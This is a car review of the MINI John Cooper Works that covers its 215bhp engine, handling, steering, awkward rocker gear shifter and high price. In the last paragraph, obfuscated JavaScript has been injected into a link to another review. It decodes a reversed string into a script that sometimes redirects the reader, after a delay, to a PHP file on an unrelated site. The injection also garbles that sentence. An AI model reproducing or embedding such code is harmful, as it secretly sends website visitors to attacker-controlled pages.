MINI John Cooper Works. REVIEW. Dubai, UAE

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You forget these details though (just about) when the turbocharged 1.6-litre four cylinder under the bonnet is fired into life. No JCW edition is complete without some fine tinkering, and the same unit that powers a standard Cooper now produces 215bhp in the JCW. Given that the Cooper weighs about as much as a paperclip, this equates to an impressive 6.7-second 0-100kph time and a 235kph top speed, some 2.6 seconds and 22kph quicker than a standard Cooper. That’s worth testing.

Almost from standstill, the 206lb ft of torque is working its magic, and you’ll even get a secondary surge when you hit mid-range. Throw the JCW into Sport mode, and heightened response from the throttle mean acceleration can prove both linear and almost aggressive, with barely any feasible drop off in oomph. You’ll hit 120kph cruising speeds almost before without realising it.

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Ample feel for the front end, good weight distribution and sport-tuned suspension mean the JCW’s poise is top rate: of course, a wheel at each corner of the MINI is quite helpful to keep the balance. The extra injection of grunt can sometimes catch the front Goodyears out though, especially under heavy acceleration. The front end won’t wash, but there is a sense every now and then through the steering wheel that the tyres are scurrying a little over the tarmac, struggling momentarily to find the grip, especially in tighter corners.

There’s solid weight to the steering though, weight which – thanks to the lack of speed sensitive power steering – continues down into the lower gears. This really makes you work the wheel, and coupling that with supple feel for the brakes, which in themselves can weather some pretty hefty punishment, and it’s hard not to feel like part of the MINI machinery.

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Well, almost. There are a couple of issues, the first being the wheel-mounted gear change system, which uses two rockers both of which change up or down depending on which direction you push them. Anyone familiar with a traditional paddle shift setup will likely find this incredibly frustrating, and several times I find myself accidentally shifting the wrong way heading into a corner. The gear changes themselves are almost seamless, but the fact that I find myself pausing briefly before shifting – just to make sure I’m using the right paddle – tends to ruin any momentum that’s been built up.

The other slightly eyebrow-raising figure is the $47,370 price tag. For that price, you almost have enough to buy both the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/renault-clio-rs-vs-toyota-86-fun-factor/” target=”_blank”>Renault Clio RS AND the Toyota 86 crankandpiston tested not too long ago. As good as the MINI John Cooper Works is, that may give you pause for thought when heading to the dealership, chequebook in hand.

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